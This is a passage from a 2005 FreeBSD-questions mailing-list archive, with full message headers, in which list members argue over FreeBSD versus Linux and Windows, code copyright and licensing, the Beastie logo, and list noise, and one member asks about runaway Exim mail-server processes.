Paul Mather writes: > As I said, that's why you'd contract with one of those outfits in the > "Vendors" section. If they can do the job. Since they didn't write the code, though, they aren't ultimately accountable for it. > BTW, it is usually not realistic to expect an organisation to have "all > the expertise it needs to support those solutions in-house and on site." That depends on the size of the organization. I've encountered organizations that wrote their own operating systems. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:26:03 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 76AF916A4CE for ; Sat, 12 Feb 2005 20:26:03 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 47DD443D3F for ; Sat, 12 Feb 2005 20:26:03 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1D03q6-000L7b-Uo for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 13:26:03 -0700 Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <200502121141.07311.bulliver@badcomputer.org> References: <200502112313.28082.hindrich@worldchat.com> <9162ea4ff171ffc111003a204c81ef7d@HiWAAY.net> <200502121141.07311.bulliver@badcomputer.org> Message-Id: <502FADF1-7D34-11D9-B134-000D933E3CEC@shire.net> From: Chad Leigh -- Shire.Net LLC Date: Sat, 12 Feb 2005 13:26:02 -0700 To: 'freebsd-questions@freebsd.org' X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:26:03 -0000 I made the choice of FreeBSD in 1996 for my fledgling hosting business. I considered Linux and FreeBSD. At the time, FreeBSD was considered to have a much better VM system under load, and similar sorts of stability characteristics. I chose FreeBSD then and am glad I did so. I do not know what the Linux VM system is like now, 8.5 years later. However, I read some recent remarks by people I would consider competent who say that the FreeBSD VM system is still superior. One of the biggest differences between Linux and the BSD derived systems is the license. If you agree with RMS (Richard Stallman of the FSF) you should probably go with Linux. If you prefer a more free market oriented license that is truly free, then a BSD system is probably more in line with your needs. There are LOTS of technical differences of course, but from a user or admin level, they are both similar, as they are both unix-derived environments. I do have a single gentoo system for some special java processing. At the time it was installed, the FreeBSD java was not at the same level as the Linux one was. Now the differences in the java systems are minor and if I could, I would migrate this machine over to FreeBSD. However, it is in production and such a move would take too much time. best Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:30:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F3E4E16A4CE for ; Sat, 12 Feb 2005 20:30:26 +0000 (GMT) Received: from smtp9.wanadoo.fr (smtp9.wanadoo.fr [193.252.22.22]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7B0FE43D2D for ; Sat, 12 Feb 2005 20:30:26 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id AE6001C0013F for ; Sat, 12 Feb 2005 21:30:25 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf0908.wanadoo.fr (SMTP Server) with ESMTP id 895E41C0013E for ; Sat, 12 Feb 2005 21:30:25 +0100 (CET) X-ME-UUID: 20050212203025562.895E41C0013E@mwinf0908.wanadoo.fr Date: Sat, 12 Feb 2005 21:30:24 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <686780095.20050212213024@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E26FD.7090005@wanadoo.es> References: <200502112313.28082.hindrich@worldchat.com> <823196404.20050212105644@wanadoo.fr> <420DE422.3020102@wanadoo.es> <1546398643.20050212123202@wanadoo.fr> <420E0164.7090300@wanadoo.es> <27964692.20050212160046@wanadoo.fr> <420E26FD.7090005@wanadoo.es> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:30:27 -0000 Ramiro Aceves writes: > There are not a myth, they are a fact. I have seen bluescreens > frecuently in win95 and winMillenium. Neither of these is based on NT, and both are dead products. > Now I am out of the winbugs world since 2 years and I am very happy. Perhaps longer than that, if you think Windows 95 is still current. > Sure X is the culprit. I agree. FreeBSD is stable without the GUI. If the GUI were purely a userland program, there'd be no problem--but GUIs are never pure userland programs. > I need the GUIs for my daily work. Electronic circuit design software > requires GUI, imaging editing requieres GUI, and because of that many > people needs a GUI, but that is not a reason to use Winbugs. You have to use whatever platform supports your chosen application. > I have seen also winXP computers here at University that do very weird > things everyday. Users at universities do very weird things to their computers. In particular, university computers tend to be cesspools of viruses and worms. It's a wonder they run at all. > Why not choosing Linux or FreeBSD for the desktop? Because the leading desktop is Windows, with a quarter-million or so applications written for it. Why do things the hard way when one can do them the easy way? > I can choose a windowmanager among decens, I have many apps that > perform the same or better than the winbugs counterparts, and the best > of all, they are *free* and do not depend on any comercial enterprise. Quite a few applications for Windows are free or very inexpensive as well. > I do not need too much bells and whistles to fell confortable at the > desktop. A fluxbox window manager is perfect for me. The important > thing are the apps, not the desktop. Then why use a GUI at all? GUIs are nothing more than bells and whistles. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:30:54 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 526E116A4CE; Sat, 12 Feb 2005 20:30:54 +0000 (GMT) Received: from hobbiton.shire.net (hobbiton.shire.net [166.70.252.250]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2472743D2D; Sat, 12 Feb 2005 20:30:54 +0000 (GMT) (envelope-from chad@shire.net) Received: from [67.161.222.227] (helo=[192.168.99.68]) by hobbiton.shire.net with esmtpsa (TLSv1:RC4-SHA:128) (Exim 4.43) id 1D03uk-000Lo5-NC; Sat, 12 Feb 2005 13:30:53 -0700 In-Reply-To: <420E2038.7060503@daltons.ca> References: <420E2038.7060503@daltons.ca> Mime-Version: 1.0 (Apple Message framework v619) Message-Id: From: Chad Leigh -- Shire.Net LLC Date: Sat, 12 Feb 2005 13:30:49 -0700 To: Aaron Dalton X-Mailer: Apple Mail (2.619) X-SA-Exim-Connect-IP: 67.161.222.227 X-SA-Exim-Mail-From: chad@shire.net Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Checker-Version: SpamAssassin 3.0.0 (2004-09-13) on hobbiton.shire.net X-Spam-Status: No, score=-0.1 required=5.0 tests=AWL,BAYES_50 autolearn=disabled version=3.0.0 X-Spam-Level: X-SA-Exim-Version: 4.1+cvs (built Mon, 23 Aug 2004 08:44:05 -0700) X-SA-Exim-Scanned: Yes (on hobbiton.shire.net) cc: freebsd-questions@freebsd.org cc: freebsd-ports@freebsd.org Subject: Re: Problem with Exim X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:30:54 -0000 On Feb 12, 2005, at 8:26 AM, Aaron Dalton wrote: > Since upgrading to the latest exim (4.44?) I will occasionally notice > I am not receiving mail. I will check the server (ps -ax | grep > 'exim') and find that there are dozens of exim processes running (exim > -bd -q30m). I will do 'exim.sh stop' but that only kills the initial > process and not the others. If I manually kill all the stray > processes, as soon as I start receiving mail new ones will appear. If > I reboot, then everything works fine for about 24 hours then it starts > to happen again. Has anybody else had this happen or does anybody > know what might be causing the problem? I do run Exim with Clamav and > I keep all my ports updated almost daily. > > Your time and assistance is greatly appreciated. > Aaron > Without looking at your exim config file, it is hard to say why your system behaves as it does. However, there is an exim specific list you can use to get help (be prepared to give more detail including config file details). The list is referenced at www.exim.org Chad From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:31:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 4116016A4CE for ; Sat, 12 Feb 2005 20:31:08 +0000 (GMT) Received: from mail.chrononomicon.com (chrononomicon.com [216.37.143.27]) by mx1.FreeBSD.org (Postfix) with ESMTP id E4F6943D46 for ; Sat, 12 Feb 2005 20:31:07 +0000 (GMT) (envelope-from bsilver@chrononomicon.com) Received: from [192.168.0.42] (unknown [192.168.0.42]) by mail.chrononomicon.com (Postfix) with ESMTP id 14CBB3494D7; Sat, 12 Feb 2005 15:31:07 -0500 (EST) In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <18af7a81a56c378819040f8ea00170a6@chrononomicon.com> Content-Transfer-Encoding: 7bit From: Bart Silverstrim Date: Sat, 12 Feb 2005 15:31:07 -0500 To: "Ted Mittelstaedt" X-Mailer: Apple Mail (2.619.2) cc: FreeBSD - Questions Subject: Re: My thoughts on the list as of late... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:31:08 -0000 On Feb 12, 2005, at 7:19 AM, Ted Mittelstaedt wrote: > > >> -----Original Message----- >> From: owner-freebsd-questions@freebsd.org >> [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Chris >> Sent: Saturday, February 12, 2005 4:11 AM >> To: FreeBSD - Questions >> Subject: OT: My thoughts on the list as of late... >> >> >> As I read *some* (mainly because there is far too much crap going in, >> and not enough decent content coming out) of the postings, I reflect >> back on my personal views on mankind as a whole. >> >> Being of a cynical nature - I tend to look at things with a >> "there must >> be a reason for this influx of crapoloa in". >> >> I come up with, divide and conquer. I'm starting to see a pattern in >> this list. Far too many users bickering about; >> >> 1. FreeBSD vs. (insert OS here) >> 2. 4.xx is better then 5.xx >> 3. Ports are crappy compared to ... >> 4. Too many dependencies compared to ... >> 5. FreeBSD is on SORBS ... what next? >> >> Etc. etc. etc. I suppose this could be just one big pissing contest, >> then again (being cynical) I tend to think it's a select "group" of >> users that are set out to divide and conquer. >> >> Keep the list in termoil, keep them bashing whom or whatever, >> keep them >> distracted from the real goals - so that when potential users want to >> investigate *BSD, they see the turmoil going on within the *BSD lists. >> >> Could that be a turn off to the potential new-comer? Very possible. >> Am I on target with this cynical point of view? Probably not however, >> ask yourself after reading a few weeks of the garbage that seeps into >> this list then pose that question again. >> >> I suppose it is all just coincidence that the list has become >> messy over >> the last few months. But is seems to me that it has increased more so >> since the posting on the FreeBSD site relating to the "Deep Study". >> >> Again, I'm not pointing fingers. Nor am I creating an innuendo. I'm >> simply drawing conclusions based on my view points and I >> thought I might >> share them in hopes that perhaps some of us will not respond to what I >> think are baiting posts. >> > > Good thoughts - now, I have to ask the obligatory "Is there a question > somewhere here" before someone else does. > > You do realize that without asking one, you are participating in the > non-question-based discussion you are trying to argue against, right? Here's a question...could it not be the byproduct of the same growth in signal-to-noise that has been rising ever since the Internet became popular among the non-academic crowd? As more Joe Normals join up to this Internet phenomena thing, there is an expected growth in all these lists not being used purely as they were meant to be used? At a hundred posts a day, there are many many threads I skip or delete without reading. If the subject doesn't show something that I may be able to glean some information from or contribute something to...*blip*...gone. People complaining about the noise might want to hit delete more often. Then again, that's what I used to say ten years ago about SPAM... -Bart From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:34:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0E17B16A4CE for ; Sat, 12 Feb 2005 20:34:37 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id B2F7943D1F for ; Sat, 12 Feb 2005 20:34:36 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 982051C000A6 for ; Sat, 12 Feb 2005 21:34:35 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1106.wanadoo.fr (SMTP Server) with ESMTP id 7A2451C000A0 for ; Sat, 12 Feb 2005 21:34:35 +0100 (CET) X-ME-UUID: 20050212203435500.7A2451C000A0@mwinf1106.wanadoo.fr Date: Sat, 12 Feb 2005 21:34:34 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <683275842.20050212213434@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E2CA6.3010003@incubus.de> References: <420E148D.1070306@incubus.de> <311372449.20050212160755@wanadoo.fr> <420E2CA6.3010003@incubus.de> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:34:37 -0000 Matthias Buelow writes: > Well, if you just run a set of 1-3 applications, and don't do anything > else with the computer, there shouldn't be much of a difference. True, if those applications run identically on both platforms. > Apart from making a political statement, the advantage is > of course being independent from the Microsoft update cycle. The disadvantage is that you need orders of magnitude more technical expertise in-house to support the OS. A serious problem will arise if the city wants to install a new application and it runs only on Windows. > Another point, as far as I got it, was security, i.e., higher > resilience towards worms and viruses. Except that this isn't the case. Most of the stuff I see on bugtraq these days references versions of UNIX, particularly Linux. UNIX has traditionally been a less tempting target, but it is not a less vulnerable target. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:37:50 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8D51E16A4CE for ; Sat, 12 Feb 2005 20:37:50 +0000 (GMT) Received: from alpargata.net (alpargata.net [67.18.172.202]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3503443D1F for ; Sat, 12 Feb 2005 20:37:50 +0000 (GMT) (envelope-from nospam@illusionart.com) Received: from [192.168.1.100] (dsl081-061-217.dsl-isp.net [64.81.61.217] (may be forged)) (authenticated bits=0) by alpargata.net (8.13.1/8.13.1) with ESMTP id j1CL1sB7033918 for ; Sat, 12 Feb 2005 15:02:07 -0600 (CST) (envelope-from nospam@illusionart.com) Mime-Version: 1.0 (Apple Message framework v619) In-Reply-To: <20050212120124.19AAF16A4CF@hub.freebsd.org> References: <20050212120124.19AAF16A4CF@hub.freebsd.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Vonleigh Simmons Date: Sat, 12 Feb 2005 12:37:54 -0800 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619) X-Virus-Scanned: ClamAV 0.80/624/Thu Dec 9 13:01:06 2004 clamav-milter version 0.80j on alpargata.net X-Virus-Status: Clean Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:37:50 -0000 > I have to run these applications for work and play. I therefore cannot > use any operating system that doesn't support them on the desktop. Rat Bastards at FreeBSD that don't break into the companies, steal the code, and port their apps. > I never allow anything on my machines to be automatically updated. I > perform all updates myself, explicitly, and I never update anything > unless I have to. ...snip... > I can go months without rebooting. My NT machine has gone for nearly a > year without a reboot. *looks up your IP* Vonleigh Simmons From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:38:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 379EC16A4CE for ; Sat, 12 Feb 2005 20:38:31 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id DB93343D2D for ; Sat, 12 Feb 2005 20:38:30 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id 1BBFB1C000A9 for ; Sat, 12 Feb 2005 21:38:30 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1103.wanadoo.fr (SMTP Server) with ESMTP id E5EB31C0009B for ; Sat, 12 Feb 2005 21:38:29 +0100 (CET) X-ME-UUID: 20050212203829941.E5EB31C0009B@mwinf1103.wanadoo.fr Date: Sat, 12 Feb 2005 21:38:29 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <327155962.20050212213829@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <420E2E68.3050005@daleco.biz> References: <13116927.20050212032039@wanadoo.fr> <1327176360.20050212104749@wanadoo.fr> <420E2E68.3050005@daleco.biz> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:38:31 -0000 Kevin Kinsey writes: > I'm guessing *you* are atypical in this. I know that I am not. About 95% of all problems with Windows machines are experienced by about 5% of the user base. The rest of the world has no problems. > Most of our Windows boxes are rather stable. But our FreeBSD ones are > simply rocks. It's true I can't just "pointy clicky" them into a > usable configuration, but the software runs for as long as we wish. All of my machines are rock stable, both FreeBSD and Windows. FreeBSD might win over the long run, but when both systems will run for years, the winner isn't that important. > That is in a rather direct opposition to the majority of our on-site > service calls for clients, which generally have to do with > troubleshooting software issues on Windows boxes related to "annoying > software failures", and "pop-ups, viruses, and malware". User errors, in other words. > There are thousands upon thousands times thousands of relatively > clueless users out there who do have problems with Windows whether > they know it or not. They would have the same problems with FreeBSD, or with any other OS. > For my office, a FreeBSD desktop makes a good bit of sense. I don't > have major software issues with FreeBSD, and my unit cost is a hundred > bucks or more less than a Windows desktop. I'd use FreeBSD on my desktop if I could, but I can't. I'd love to be able to save €400 in license fees per machine and have all the source code. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:39:13 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9673216A4CF for ; Sat, 12 Feb 2005 20:39:13 +0000 (GMT) Received: from smtp800.mail.sc5.yahoo.com (smtp800.mail.sc5.yahoo.com [66.163.168.179]) by mx1.FreeBSD.org (Postfix) with SMTP id 3154C43D46 for ; Sat, 12 Feb 2005 20:39:13 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp800.mail.sc5.yahoo.com with SMTP; 12 Feb 2005 20:39:13 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 12:39:11 -0800 User-Agent: KMail/1.7.2 References: <467538167.20050211234639@wanadoo.fr> <491919829.20050212110744@wanadoo.fr> In-Reply-To: <491919829.20050212110744@wanadoo.fr> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121239.12355.krinklyfig@spymac.com> cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:39:13 -0000 On Saturday 12 February 2005 02:07 am, Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > The committers do know about this and are careful about it. You > > will note that this is discussed more fully here: > > > > http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributing/co > >ntrib- how.html > > > > under the section: > > > > New Code or Major Value-Added Packages > > > > I am very surprised that you missed this. Could it be made any > > more obvious? > > Yes, it could be made about a thousand times more obvious. It should > be right on the first page of the site, not buried in the > documentation. > > And it is still a bit worrisome, because it says "When working with > large amounts of code, the touchy subject of copyrights also > invariably comes up." Unfortunately, copyright applies to small > amounts of code, too, not just large amounts. Even a few lines can > lead to litigation if the copyright status of those lines is not > verified and cleared before they are incorporated into the product. I think it's great that you're volunteering to do this. Keep us updated on your status! - jt From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:39:31 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E807616A4CE for ; Sat, 12 Feb 2005 20:39:31 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id A02E343D39 for ; Sat, 12 Feb 2005 20:39:29 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 7981C1C0009A for ; Sat, 12 Feb 2005 21:39:25 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 5A1841C00094 for ; Sat, 12 Feb 2005 21:39:25 +0100 (CET) X-ME-UUID: 20050212203925369.5A1841C00094@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 21:39:22 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1002830599.20050212213922@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <86vf8xvins.fsf@xps.des.no> References: <86vf8xvins.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:39:32 -0000 Dag-Erling Smørgrav writes: > You need to understand the difference between copyright and license, > and stop looking for black helicopters. There isn't any difference. Without copyrights, there are no licenses; without licenses, there are no copyrights. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:41:12 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3D93416A4CF for ; Sat, 12 Feb 2005 20:41:12 +0000 (GMT) Received: from smtp813.mail.sc5.yahoo.com (smtp813.mail.sc5.yahoo.com [66.163.170.83]) by mx1.FreeBSD.org (Postfix) with SMTP id EC1C743D2F for ; Sat, 12 Feb 2005 20:41:11 +0000 (GMT) (envelope-from krinklyfig@spymac.com) Received: from unknown (HELO smogmonster.com) (jtinnin@pacbell.net@64.173.27.163 with login) by smtp813.mail.sc5.yahoo.com with SMTP; 12 Feb 2005 20:41:11 -0000 From: Joshua Tinnin To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 12:41:11 -0800 User-Agent: KMail/1.7.2 References: <200502112325.j1BNPw201164@clunix.cl.msu.edu> <126689881.20050212105809@wanadoo.fr> In-Reply-To: <126689881.20050212105809@wanadoo.fr> MIME-Version: 1.0 Content-Disposition: inline Message-Id: <200502121241.11677.krinklyfig@spymac.com> Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit cc: Anthony Atkielski Subject: Re: Please don't change Beastie to another crap logo such as X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:41:12 -0000 On Saturday 12 February 2005 01:58 am, Anthony Atkielski wrote: > Chad Leigh -- Shire.Net LLC writes: > > This is all very well and good, but is irrelevant to the earlier > > discussion. > > It doesn't have to be relevant to the earlier discussion. It is very > highly relevant to FreeBSD. > > > You are not a Suit we are trying to impress or get to use FreeBSD. > > You are on a general technical support mailing list and "behavior" > > here is different than would be in a formal presentation or even > > official support mechanism. > > The problem is that this is the only behavior there is for the > moment. There is no official support mechanism, and I daresay there > is virtually no one who can do good formal presentations of the OS, > either. I see that you've volunteered your efforts once again in an area you found lacking. Good work! I look forward to seeing your efforts here, too. - jt From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:41:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E366616A4CE for ; Sat, 12 Feb 2005 20:41:16 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9CBED43D3F for ; Sat, 12 Feb 2005 20:41:16 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id 0719C1C000B4 for ; Sat, 12 Feb 2005 21:41:16 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1104.wanadoo.fr (SMTP Server) with ESMTP id E302B1C000B2 for ; Sat, 12 Feb 2005 21:41:15 +0100 (CET) X-ME-UUID: 20050212204115930.E302B1C000B2@mwinf1104.wanadoo.fr Date: Sat, 12 Feb 2005 21:41:04 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <282910891.20050212214104@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <86r7jlvhs4.fsf@xps.des.no> References: <805E7F3C-7C77-11D9-B134-000D933E3CEC@shire.net> <1065300005.20050211231617@wanadoo.fr> <200502111436.36427.krinklyfig@spymac.com> <467538167.20050211234639@wanadoo.fr> <867jlevy8k.fsf@xps.des.no> <32095862.20050212122505@wanadoo.fr> <86r7jlvhs4.fsf@xps.des.no> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 20:41:17 -0000 Dag-Erling Smørgrav writes: > Are you intentionally misinterpreting me? No, I'm correcting you. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 20:42:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CF78B16A4CE for ; Sat, 12 Feb 2005 20:42:11 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id 004D443D48 for ; Sat, 12 Feb 2005 20:42:11 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id 48A84617A for ; Sat, 12 Feb 2005 14:42:10 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 25607-02 for ; Sat, 12 Feb 2005 